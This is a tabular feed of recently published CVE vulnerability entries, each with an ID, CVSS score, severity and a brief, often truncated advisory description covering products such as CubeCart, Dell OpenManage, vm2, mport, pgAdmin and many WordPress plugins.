CVE-2026-54647	New	7.2	HIGH				CubeCart is an ecommerce software solution. Prior to 6.7.5, admin/sources/settings.index.inc.php directly concatenates the administrator-controlled download_expire POST parameter into a raw UPDATE statement for CubeCart_downloads without numeric validation. An authenticated administrator can supply a comma-delimited value that changes the SET clause because HTML sanitization...
CVE-2026-81445	New	7.2	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Privilege Management vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-81477	New	7.2	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Heap-based Buffer Overflow vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Code execution.
CVE-2026-81480	New	7.2	HIGH				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Stack-based Buffer Overflow vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Code execution.
CVE-2026-81632	New	7.2	HIGH				Use of HTTP Request With Sensitive Query String vulnerability in team-alembic AshAuthenticationPhoenix allows someone able to read access logs, proxy logs or browser history to recover a single-use sign-in token and authenticate as its owner. After a successful password sign-in, AshAuthentication.Phoenix.Components.Password.SignInForm builds the sign_in_with_token path with...
CVE-2026-92919	New	7.2	HIGH				admin3 through 3.0.0 fails to sanitize client-supplied filenames in the upload handler, allowing authenticated users to write files outside the storage root on Windows deployments. Attackers can use dot-dot path segments in filenames to escape the configured storage directory and overwrite arbitrary files accessible to the server process.
CVE-2026-92980	New	7.2	HIGH				HortusFox-Web prior to version 6.1 contains a remote code execution vulnerability that allows authenticated administrators to execute arbitrary OS commands as the web server user by abusing the Import/Export functionality. Attackers can leverage the Import/Export feature, which is intended solely for data portability, to deploy and execute malicious code on the underlying ap...
CVE-2025-15697	New	7.1	HIGH				The Dictionary WordPress plugin through 1.0 does not escape user input before reflecting it back in the responses of several directly accessible scripts, allowing unauthenticated attackers to perform Reflected Cross-Site Scripting attacks against anyone they can induce to submit a crafted request.
CVE-2026-44236	New	7.1	HIGH				rabbitmq-c is a C-language AMQP client library for RabbitMQ. Prior to 0.16.0, a malicious AMQP server can send an undersized connection.tune.frame_max value during amqp_login(), and rabbitmq-c accepts the value in amqp_login_inner() in librabbitmq/amqp_socket.c. amqp_tune_connection() in librabbitmq/amqp_connection.c uses frame_max to reallocate the outbound buffer without e...
CVE-2026-52851	New	7.1	HIGH				Traccar is an open source GPS tracking system. Prior to 6.14.0, an authenticated, non-readonly user with access to an object usable in a permission pair can submit DELETE /api/permissions with an extra attacker-controlled JSON key. Permission(LinkedHashMap<String, Long>) in src/main/java/org/traccar/model/Permission.java validates only the first two keys, but DatabaseStorage...
CVE-2026-54510	New	7.1	HIGH				Speakr is a personal, self-hosted web application designed for transcribing audio recordings. Prior to 0.8.21-alpha, the csrf_exempt_for_api_tokens() before_request hook in src/app.py calls csrf.exempt(view_func), permanently adding the selected view to Flask-WTF's process-global exemption set. The is_token_authenticated() function in src/utlis/token_auth.py calls extract_to...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54524	New	7.1	HIGH				Frappe HR is an open-source human resources management solution (HRMS). Prior to 16.7.0, an authenticated user with the HR User role can inject SQL through filters in the Salary Payments Based on Payment Mode report. In hrms/payroll/report/salary_payments_based_on_payment_mode/salary_payments_based_on_payment_mode.py, get_conditions constructs filter clauses from user-contro...
CVE-2026-54608	New	7.1	HIGH				MythicalDash is a Pterodactyl client area. In 3.5.4-aurora and earlier, GET /api/stripe/process in backend/app/Api/System/Gateways/Stripe.php creates a pending row in mythicaldash_stripe_payments before Stripe checkout succeeds and embeds the payment code in the success redirect, while GET /api/stripe/processed accepts that code without constructing a Session, checking owner...
CVE-2026-66571	New	7.1	HIGH				Unauthenticated Cross Site Request Forgery (CSRF) in Asset CleanUp: Page Speed Booster <= 1.4.0.5 versions.
CVE-2026-86049	New	7.1	HIGH			pip:jupyter_server	Jupyter Server is the backend for Jupyter web applications. Prior to version 2.21.0, the 5xx request logging path in jupyter_server/log.py copies the Referer header into a JSON header block without applying the token scrubbing used for the request URI. A request that returns HTTP 500 while the Referer contains a token-bearing URL can therefore write that token to server logs...
CVE-2026-86862	New	7.1	HIGH				pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A valu...
CVE-2026-90887	New	7.1	HIGH				Unauthenticated Cross Site Scripting (XSS) in WP Inventory Manager <= 2.5.4 versions.
CVE-2026-90986	New	7.1	HIGH				Unauthenticated Cross Site Scripting (XSS) in Visitor Traffic Real Time Statistics Pro <= 11.21 versions.
CVE-2026-91014	New	7.1	HIGH				The Realtyna Organic IDX plugin + WPL Real Estate WordPress plugin before 5.4.2 does not sanitise and escape some of its parameters before reflecting them back in the page, allowing unauthenticated attackers to run arbitrary web scripts in a visitor's browser if they can trick the visitor into following a crafted link (reflected XSS).
CVE-2026-92925	New	7.1	HIGH				A flaw was found in Redis community. The cluster bus packet parser, responsible for handling PING, PONG, and MEET packets, fails to properly validate string-carrying extensions for null-termination. This oversight allows a remote attacker to craft a malicious packet, leading to an out-of-bounds read when the packet's payload is processed. Successful exploitation of this vuln...
CVE-2026-92959	New	7.1	HIGH				vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled) still assimilate attacker-supplied thenables: native promise resolution pe...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93014	New	7.1	HIGH				RosarioSIS versions before 12.9 fail to validate the filename request parameter in Users and Students modules, allowing authenticated users to unlink allow-listed files via path traversal. Attackers can use parent-directory sequences to escape upload directories and delete CSS, XML, JSON resources and other users' documents throughout the installation.
CVE-2026-45720	New	7.0	HIGH				Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. Prior to 1.6.6 and from 1.7.0 until 1.7.3, SAML.getSession in internal/pkg/auth/interceptor/saml.go checks SAMLAssertion.Used and marks it used in separate state operations. Concurrent requests carrying the same captured saml-session token can each observe the assertion as unused and obtain authenticatio...
CVE-2026-93015	New	7.0	HIGH				BlueKitchen BTstack through 1.8.2 fails to validate the peer-reported endpoint count against table bounds in A2DP stream endpoint discovery. A bonded peer can send an AVDTP DISCOVER response with more endpoints than the fixed table holds, causing out-of-bounds writes that corrupt adjacent static objects and crash the process or sever event delivery.
CVE-2026-54633	New	6.9	MEDI				PoDoFo is a C++17 PDF manipulation library. From version 1.0.0 until 1.1.1, processing a crafted PDF with an Indexed color-space image can cause a heap out-of-bounds read in PdfColorSpaceFilterIndexed::FetchScanLine in src/podofu/main/PdfColorSpaceFilter.cpp. PODOFO_INVARIANT does not perform a runtime check, so a pixel index greater than or equal to m_MapSize can address be...
CVE-2026-61793	New	6.9	MEDI			npm:nuxt-og-image	Nuxt OG Image generates OG Images with Vue templates in Nuxt. From 6.0.2 until 6.7.0, nuxt-og-image exposes the unauthenticated /_og/d/** route when the documented defaults security.strict = false and security.secret = "" are used, and base64url-decodes the fonts parameter through decodeOgImageParams. Attacker-controlled fonts[].path values flow through loadDefinedFonts into...
CVE-2026-78223	New	6.9	MEDI				Improper Verification of Cryptographic Signature vulnerability in team-alembic AshAuthentication allows a caller of the token revocation action to neutralise a revocation or write arbitrary rows into the token resource. AshAuthentication.TokenResource.RevokeTokenChange.change/3 reads the :token argument and decodes it with AshAuthentication.Jwt.peek/1, which delegates to Jo...
CVE-2026-89038	New	6.9	MEDI				Verizon Cloud for Android (com.vcast.mediamanager) before 26.7.10 contains a path traversal vulnerability that allows co-resident malicious applications to write attacker-controlled bytes outside the intended staging directory by supplying a crafted _display_name value containing path-traversal sequences through exported activities OneTouchUploadActivity and PrintShopCloudAc...
CVE-2026-92915	New	6.9	MEDI				WWBN AVideo through commit e01e41ecc (no patched version available) contains a broken access control flaw in objects/userVerifyEmail.php. The script disables the login requirement (\$global['ignoreUserMustBeLoggedIn'] = 1), takes users_id directly from the query string, and calls User::sendVerificationLink() with no session requirement, no CSRF/global token, no relationship c...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92936	New	6.9	MEDI				vm2 versions 3.11.0 through 3.11.6 leak absolute host filesystem paths to sandboxed code through error stack formatting. Attacker-supplied code can force the host-realm source transformer to throw a SyntaxError (for example by calling eval with malformed source) and then read the error's .stack property; the bridge forwards the .stack read to the host-realm formatter, bypass...
CVE-2026-93395	New	6.9	MEDI				A missing lower-bound validation in the bson_new_from_buffer() function of libbson allows an integer underflow when processing BSON data with a zero-length prefix. The function reads a 32-bit document length from the input buffer but does not verify that the value is at least 5 (the minimum valid BSON document size) before using it in an array index calculation. When the len...
CVE-2026-81447	New	6.8	MEDI				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Information disclosure and Information tampering.
CVE-2026-85717	New	6.8	MEDI			maven:org.asynchttpclient:async-http-client	The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.14.5 to 2.16.0 and from 3.0.9 to 3.0.11, a client configured with a client-wide Realm and redirect following can disclose credentials after a cross-origin redirect because the Interceptors authentication path falls back to the client co...
CVE-2026-86788	New	6.8	MEDI				The HT Mega Addons for Elementor WordPress plugin before 3.2.6 does not restrict the HTML tag name used to render the section headline in several of its widgets and blocks to a safe allowlist, allowing users with contributor-level access and above to store a crafted tag name that executes arbitrary JavaScript when the content is viewed, including by higher-privileged users ...
CVE-2026-91011	New	6.8	MEDI				The EWWW Image Optimizer WordPress plugin before 8.7.7 does not properly escape image attribute values when it rewrites page output, allowing authenticated users with author-level access and above to inject arbitrary JavaScript that is stored in published content and executes in the browser of any user who later views the affected page.
CVE-2026-92756	New	6.8	MEDI				Applications built on MongoDB Entity Framework Core Provider which combine independent encryption settings and this provider's encryption settings may silently lose TLS and schema-map settings leading to protected fields being stored unencrypted in the database.
CVE-2026-92757	New	6.8	MEDI				Applications built on MongoDB Entity Framework Core Provider which place a database name in the connection string may inadvertently disable field level encryption.
CVE-2026-25261	New	6.7	MEDI				Memory corruption while processing rear sensor IOCTL calls.
CVE-2026-44235	New	6.5	MEDI				rabbitmq-c is a C-language AMQP client library for RabbitMQ. Prior to 0.16.0, a malicious AMQP server can send an undersized HEADER or METHOD frame during client login and cause unsigned size_t underflow in amqp_handle_input() in librabbitmq/amqp_connection.c. The parser subtracts HEADER_SIZE, fixed per-frame fields, and FOOTER_SIZE from state->target_size without first chec...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-52852	New	6.5	MEDI				Traccar is an open source GPS tracking system. Prior to 6.14.0, an authenticated user with permission to manage groups and request reports can create a cyclic group-parent hierarchy and request a trips or stops report for a device in that hierarchy. org.traccar.api.resource.GroupResource permits the parent cycle, while org.traccar.helper.model.AttributeUtil.lookup follows gr...
CVE-2026-54648	New	6.5	MEDI				CubeCart is an ecommerce software solution. Prior to 6.7.5, the GDPR tools in admin/sources/customers.gdpr.inc.php rely on page-level CC_PERM_READ access and do not require CC_PERM_DELETE for the purge, no_order_purge, or delete_guests commands. An authenticated administrator with read-only customer privileges can invoke these backend actions directly to bypass interface res...
CVE-2026-54676	New	6.5	MEDI				Scoold is a Q&A and a knowledge sharing platform for teams. Prior to 1.69.0, users with personal API tokens can retrieve replies from questions in private spaces they cannot access because src/main/java/com/erudika/scoold/api/ApiController.java in ApiController.getPostReplies() does not apply canAccessSpace before returning data from GET /api/posts/{id}/answers. The issue is...
CVE-2026-54677	New	6.5	MEDI				Scoold is a Q&A and a knowledge sharing platform for teams. Prior to 1.69.0, authenticated users who are not members of a private space can create content in questions belonging to that space because src/main/java/com/erudika/scoold/controllers/QuestionController.java in QuestionController.reply() and src/main/java/com/erudika/scoold/controllers/CommentController.java in Com...
CVE-2026-66572	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in JetBlog <= 2.4.10 versions.
CVE-2026-66573	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in JetTabs <= 2.3.3.1 versions.
CVE-2026-66574	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in Element Pack Elementor Addons <= 8.8.3 versions.
CVE-2026-66576	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in JetBlocks For Elementor <= 1.5.2 versions.
CVE-2026-66577	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in JetSearch <= 3.6.3 versions.
CVE-2026-66578	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in PropertyHive <= 2.2.6 versions.
CVE-2026-66579	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in JetElements For Elementor <= 2.9.2.1 versions.
CVE-2026-66617	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in PublishPress Series <= 3.1.3 versions.
CVE-2026-67071	New	6.5	MEDI				HCL DevOps Deploy / HCL Launch is susceptible to an information disclosure vulnerability when processing redacted property values. If a deployment is configured with a secure property that starts with certain non-ASCII characters, the redaction engine may fail to mask subsequent ASCII secure values embedded inside insecure properties.
CVE-2026-77281	New	6.5	MEDI				Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a l...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-78294	New	6.5	MEDI				Contributor Cross Site Scripting (XSS) in Geo Mashup <= 1.13.21 versions.
CVE-2026-81453	New	6.5	MEDI				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Filesystem access for attacker.
CVE-2026-81868	New	6.5	MEDI			nuget:Steeltoe.Security.Authorization.Certificate	Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. Prior to 4.3.0, Steeltoe.Security.Authorization.Certificate deployments using AddOrgAndSpacePolicies() and UseCertificateAuthorization() trust the public certificate supplied in the X-Client-Cert request header without proving possession of the corresp...
CVE-2026-85078	New	6.5	MEDI			pip:sanic	Sanic is an opensource python web server/framework. In version 25.12.0, Sanic's core HTTP/1.1 chunked-body handling does not fully consume the trailer-part after the terminating zero chunk before reusing the keep-alive connection buffer. A remote unauthenticated client can place attacker-controlled bytes in that trailer region, causing Sanic to parse and route them as a hidd...
CVE-2026-90923	New	6.5	MEDI				The Autopay WordPress plugin before 5.0.1 does not enforce the signature on one of its payment callbacks, allowing unauthenticated users to disclose and delete the stored payment parameters of other customers' orders.
CVE-2026-92912	New	6.5	MEDI				AVideo through c3edcc274c389816d434acadac07ee78eaf330c1 uses cryptographically weak unqid() values for RTMP publish keys in LiveTransmission, reducing key entropy to approximately one million possibilities per creation second. Attackers who know the channel creation time can brute-force the five-digit microsecond component to forge valid stream keys and broadcast content as ...
CVE-2026-66608	New	6.4	MEDI				Contributor Server Side Request Forgery (SSRF) in Unlimited Elements For Elementor (Free Widgets, Addons, Templates) <= 2.0.19 versions.
CVE-2026-81443	New	6.4	MEDI				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Server-Side Request Forgery (SSRF) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Server-side request forgery.
CVE-2026-86311	New	6.4	MEDI				The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Shortcode Attributes in all versions up to, and including, 1.8.44 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web script...
CVE-2026-86522	New	6.3	MEDI				Improper Output Neutralization for Logs vulnerability in team-alembic AshAuthentication allows an unauthenticated attacker to forge application log entries by submitting a password reset identity containing newlines or control characters. AshAuthentication.Strategy.Password.RequestPasswordReset.run/3 interpolates the identity argument, the email or username taken straight f...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92880	New	6.3	MEDI				A weakness has been identified in vgmstream up to r2117. Impacted is the function vadpcm_read_coefs_be of the file src/coding/vadpcm_decoder.c of the component EA SCHI parser. This manipulation of the argument entry/entries causes out-of-bounds write. Remote exploitation of the attack is possible. Patch name: ae37662ad626254ddd96ad69ac263792d7a92024. It is suggested to insta...
CVE-2026-92993	New	6.3	MEDI				A vulnerability was detected in Dromara mayfly-go up to 1.11.5. The impacted element is the function RunMachineScript of the file server/internal/machine/api/machine_script.go of the component Machine Script Feature. The manipulation of the argument params results in os command injection. The attack can be executed remotely. The exploit is now public and may be used. Exploit...
CVE-2026-93394	New	6.3	MEDI				A flaw in libmongoc's SCRAM authentication implementation caused the client to continue the authentication handshake and transmit the client proof even when a nonce mismatch was detected in the server's first message. An unauthorized party with a man-in-the-middle position could exploit this by injecting a crafted server-first-message containing a controlled salt and low ite...
CVE-2026-54521	New	6.1	MEDI				FairEmail is a fully featured, open source, privacy-friendly email app for Android. Prior to 1.2319, the ActivityAMP AMP message renderer in app/src/main/java/eu/faircode/email/ActivityAMP.java enables JavaScript in its WebView but incompletely sanitizes untrusted message HTML. For non-allowlisted hosts, script.removeAttr("src") leaves inline script elements in the document ...
CVE-2026-54644	New	6.1	MEDI				CubeCart is an ecommerce software solution. Prior to 6.7.5, the _errorMessage method in classes/gui.class.php uses strip_tags to permit anchor elements in error, information, and warning messages while retaining unsafe href values and onclick event handlers. Attacker-controlled search or input data that reaches a GUI message can carry a javascript: URI or event handler throu...
CVE-2026-55946	New	6.1	MEDI				Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to disclose information over a network.
CVE-2026-53556	New	6.0	MEDI				SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.9.0, the POST /api/v1/datasource/previewData endpoint in backend/apps/datasource/crud/datasource.py incorporates the client-controlled table_name value into generated SQL without safe identifier handling. An authenticated user can configure a datasource for SQLBot's internal Postgr...
CVE-2026-54582	New	6.0	MEDI				mport is the MidnightBSD Package Manager. Prior to 2.7.8, package installation lacked a preflight check for incoming non-directory assets that already existed on disk. The affected logic across libmport/check_preconditions.c, libmport/install_primitive.c, and libmport/mport_private.h did not apply MPORT_PRECHECK_FILE_CONFLICTS, so a crafted or conflicting package could overw...
CVE-2026-54585	New	6.0	MEDI				mport is the MidnightBSD Package Manager. Prior to 2.7.8, create_sample_file() in libmport/bundle_read_install_pkg.c did not constrain absolute source and destination paths from the sample-file manifest directive to mport->root. A malicious or malformed package manifest could therefore direct privileged sample-file handling to copy or write outside the configured installatio...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54586	New	6.0	MEDI				mport is the MidnightBSD Package Manager. Prior to 2.7.8, the mport_fetch_index(), mport_fetch_bootstrap_index(), and mport_fetch_bundle() paths in libmport/fetch.c accepted non-HTTPS repository and package mirror URLs without a url_is_https() enforcement check. When a cleartext URL was configured or returned by mirror data, a network-positioned attacker could tamper with pa...
CVE-2026-86861	New	6.0	MEDI				pgAdmin 4's File Manager save_file endpoint, which backs saving from the Query Tool and ERD, validated the requested path with FileManager.check_access_permission() and then opened the file for writing with a plain open() call. CVE-2026-7819 had previously hardened the separate file upload path by opening its target with O_NOFOLLOW, so that the kernel refuses to follow a sym...
CVE-2026-75523	New	5.9	MEDI			nuget:Steeltoe.Management.Endpoint	Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. Prior to 4.3.0, the Steeltoe.Management.Endpoint /actuator/httpexchanges endpoint passes recorded request URIs through MaskedUri, which masks URI user information but does not inspect query strings. When Management.Endpoints:HttpExchanges:IncludeQueryS...
CVE-2026-85718	New	5.9	MEDI				The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 3.0.8 until 3.0.12, a client with maxConnections or maxConnectionsPerHost set above zero leaks one connection permit whenever TLS connection establishment fails before the handshake completes. NettyConnectListener removes the partitionKey...
CVE-2026-85720	New	5.9	MEDI			maven:org.asynchttpclient:async-http-client	The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 2.16.1 and 3.0.12, a request using an HTTP proxy to reach an HTTPS origin can expose preemptive origin credentials because NettyRequestFactory and NettyRequestSender.sendRequestWithNewChannel attach Authorization to the plaint...
CVE-2026-50022	New	5.8	MEDI				Metacat is data repository software that helps researchers preserve, share, and discover data. Prior to 3.4.2, MetacatSolrIndex.query forwards the client-controlled qt parameter through Apache SolrJ from search endpoints such as /d1/mn/v2/query/solr/ to its privileged Solr backend. An unauthenticated client can select the /admin/file handler, and SolrJ reformats the paramete...
CVE-2026-54575	New	5.8	MEDI				mport is the MidnightBSD Package Manager. Prior to 2.7.8, privileged package fetch and cache-cleaning operations used race-prone path handling across libmport/fetch.c, libmport/clean.c, libmport/util.c, libmport/bundle_read_install_pkg.c, libmport/delete_primitive.c, and libexec/mport.create/mport.create.c. A local attacker with write access to a participating package cache ...
CVE-2026-54576	New	5.8	MEDI				mport is the MidnightBSD Package Manager. Prior to 2.7.8, do_actual_install() in libmport/bundle_read_install_pkg.c used path-based lstat(), chown(), stat(), and chmod() operations while installing package files. A local attacker with write access to a target directory could replace a checked file with a symlink before privileged ownership or mode changes were applied, redir...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54587	New	5.8	MEDI				mport is the MidnightBSD Package Manager. Prior to 2.7.8, directory assets handled as ASSET_DIR or ASSET_DIR_OWNER_MODE in libmport/bundle_read_install_pkg.c used path-based mport_mkdirp(), ownership, and permission operations. A local attacker able to modify part of the target installation tree could use dot-dot traversal or substitute symlinks during privileged package ins...
CVE-2026-81479	New	5.8	MEDI				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Partial String Comparison vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Denial of service.
CVE-2026-92933	New	5.8	MEDI				vm2 is a sandbox for running untrusted Node.js code. In versions <= 3.11.7, NodeVM exposes the host `util` module to the sandbox as an unfiltered shallow copy (`Object.assign({}, util)` in `defaultBuiltinLoaderUtil`), and the deprecated `sys` builtin (an alias of host `util`) is exposed through the generic builtin loader. On Node.js >= 22.9 this hands sandboxed code `util.ge...
CVE-2026-44940	New	5.7	MEDI				The rancher-extension-stackstate extension in SUSE Observability exposes service tokens in plain configuration or insecure locations rather than managing them securely. An attacker with minimal access could obtain the token to gain unauthorized access or escalate privileges within the observability environment.
CVE-2026-92758	New	5.7	MEDI				If logging mode is set to DEBUG or a malformed MongoDB connection string is used, application logs may collect sensitive information (if in use) such as passwords and AWS secure access keys.
CVE-2026-50291	New	5.5	MEDI				OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to versions 3.0.16.0 and 3.1.11.0, processing a crafted BMP file through oiio tool or an application linked to OpenImageIO can reach BMP palette handling in src/bmp.imageio/bmpinput.cpp with an empty color table. BmpInput::read_native_scanlin...
CVE-2026-76781	New	5.5	MEDI				A flaw was found in libxml2. A local user or an attacker providing a specially crafted XML catalog can trigger a NULL pointer dereference during XML catalog parsing. This occurs when a `nextCatalog` element lacks its mandatory `catalog` attribute, leading to the application crashing and causing a Denial of Service (DoS).
CVE-2026-92926	New	5.5	MEDI				A vulnerability has been found in code-projects Matrimonial System 1.0. This vulnerability affects the function writepartnerprefs of the file /partner_preference.php. Such manipulation of the argument education leads to sql injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.
CVE-2026-14311	New	5.4	MEDI				The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing ownership verification on /users/customers/<id> endpoint in all versions up to, and including, 2.4.4. This makes it possible for authenticated attackers, with wpamelia-provider role, to view and modify arbitrary custom...
CVE-2026-54613	New	5.4	MEDI				Vvweb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.5, getThemeFolder() in admin/controller/editor/revisions.php returns the attacker-controlled theme parameter without sanitization, and backupFolder() concatenates it beneath DIR_THEMES before editor/revisions/load or editor/revisions/delete operates on a nam...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54643	New	5.4	MEDI				CubeCart is an ecommerce software solution. Prior to 6.7.5, the delete-note handler in admin/sources/orders.index.inc.php verifies only the presence of order_id and delete-note parameters before deleting records from CubeCart_order_notes, without requiring CC_PERM_DELETE for orders. An authenticated administrator lacking order modification privileges can directly invoke the ...
CVE-2026-73999	New	5.4	MEDI				Contributor Insecure Direct Object References (IDOR) in Cooked <= 1.16.0 versions.
CVE-2026-74005	New	5.4	MEDI				Unauthenticated Cross Site Request Forgery (CSRF) in PublishPress Series <= 3.1.3 versions.
CVE-2026-80355	New	5.4	MEDI				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Cross-Site Request Forgery (CSRF) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.
CVE-2026-16582	New	5.3	MEDI				The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized modification of data in all versions up to, and including, 2.4.5. This is due to the plugin accepting a client-supplied package-redemption identifier as proof of payment without validating it. This makes it possible for unauthenticated attackers to create approved app...
CVE-2026-16750	New	5.3	MEDI				The Motors – Car Dealership & Classified Listings Plugin plugin for WordPress is vulnerable to unauthorized access of data due to missing authorization checks in mvl_ajax_dealer_load_cars() function in all versions up to, and including, 1.4.120. This makes it possible for unauthenticated attackers to retrieve draft, pending, private, and future car listings belonging to arbi...
CVE-2026-54355	New	5.3	MEDI				MapServer is a system for developing web-based GIS applications. From 6.0 until 8.6.4, MapServer's OpenLayers HTML output for SERVICE=WMS&REQUEST=GetMap&FORMAT=application/openlayers reflects an attacker-controlled X-Forwarded-Host value received as HTTP_X_FORWARDED_HOST through msBuildOnlineResource(), processLine(), and the [mapserv_onlineresource] substitution in src/mapu...
CVE-2026-54594	New	5.3	MEDI				OmniBlocks is a monorepo for the OmniBlocks project. Prior to the June 6, 2026 workflow remediation, .github/workflows/disc.yml runs for the issues opened event and the issues edited event and invokes the createDiscussion mutation whenever an issue is classified as off-topic, without recording that the issue was already converted or otherwise suppressing duplicate runs. A us...
CVE-2026-54604	New	5.3	MEDI				OpenSlide is a C library for reading whole slide image files. Prior to 4.0.1, a behavior change in libtiff 4.7.1 causes the indirect TIFF tile path in src/openslide-decode-tiff.c and _openslide_tiff_read_tile() to request a full-height destination for a partial bottom tile row, allowing uninitialized heap memory to enter pixel data returned by openslide_read_region(). A craf...
CVE-2026-54642	New	5.3	MEDI				CubeCart is an ecommerce software solution. Prior to 6.7.5, the reset_id download-counter action and delete_card stored-payment-card action in admin/sources/orders.index.inc.php use state-changing GET requests and are omitted from the protection map in admin/skins/default/csrf.inc.php. A remote attacker can induce an authenticated administrator to issue one of these requests...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54907	New	5.3	MEDI				Caddy Proxy Manager is a web interface for managing Caddy Server reverse proxies and certificates. Prior to 1.5.1, Caddy Proxy Manager enables email and password self-registration by default at /api/auth/sign-up/email, allowing an unauthenticated remote actor to create an active account with the user role without administrator approval. The user role cannot view or modify pr...
CVE-2026-54918	New	5.3	MEDI				NetBox Device Type Library is a collection of community-sourced device type definitions for import into NetBox. In the affected repository revisions, NETBOX_DT_LIBRARY_URL in tests/test_configuration.py is a free-form tracked constant that an unauthenticated pull-request author can change before the validation test harness runs. During pytest collection, tests/definitions_te...
CVE-2026-63461	New	5.3	MEDI			npm:@vendure/core	Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop API products, collections, and facets queries combine mandatory visibility guards with caller-supplied filters using the caller-controlled filterOperator. When filterOperator is OR, a predicate matching a hidden entity can bypass the Product.enabled, Collection.isPrivate, or Facet.isPrivate...
CVE-2026-66575	New	5.3	MEDI				Unauthenticated Insecure Direct Object References (IDOR) in King Addons for Elementor <= 51.1.81 versions.
CVE-2026-66676	New	5.3	MEDI				Unauthenticated Broken Access Control in Easy Invoice <= 2.3.8 versions.
CVE-2026-71568	New	5.3	MEDI				In BMCTest, IroniC is started without authentication and TLS for the duration of the test. Exploiting the problem requires winning the race with bmctest itself, which reduces the attack window and significantly increases its complexity.
CVE-2026-74000	New	5.3	MEDI				Contributor Broken Access Control in Simple Membership <= 4.8.2 versions.
CVE-2026-74002	New	5.3	MEDI				Unauthenticated Broken Access Control in Booking Calendar <= 11.7 versions.
CVE-2026-74017	New	5.3	MEDI				Unauthenticated Broken Access Control in User Registration <= 5.2.7 versions.
CVE-2026-78296	New	5.3	MEDI				Insufficient Verification of Data Authenticity vulnerability in WP ManageNinja LLC FluentAuth allows Identity Spoofing. This issue affects FluentAuth: from n/a through 2.1.2.
CVE-2026-78528	New	5.3	MEDI				Unauthenticated Broken Access Control in BerqWP <= 4.1.15 versions.
CVE-2026-81829	New	5.3	MEDI				A flaw was found in SmallRye JWT's AwsAlbKeyResolver, which is used by applications to verify JSON Web Tokens signed by AWS Application Load Balancers. When the AWS_ALB key provider is configured, the resolver constructs the key-fetch URL by directly concatenating the attacker-controlled kid header value from an inbound JWT without sanitizing path traversal characters or que...
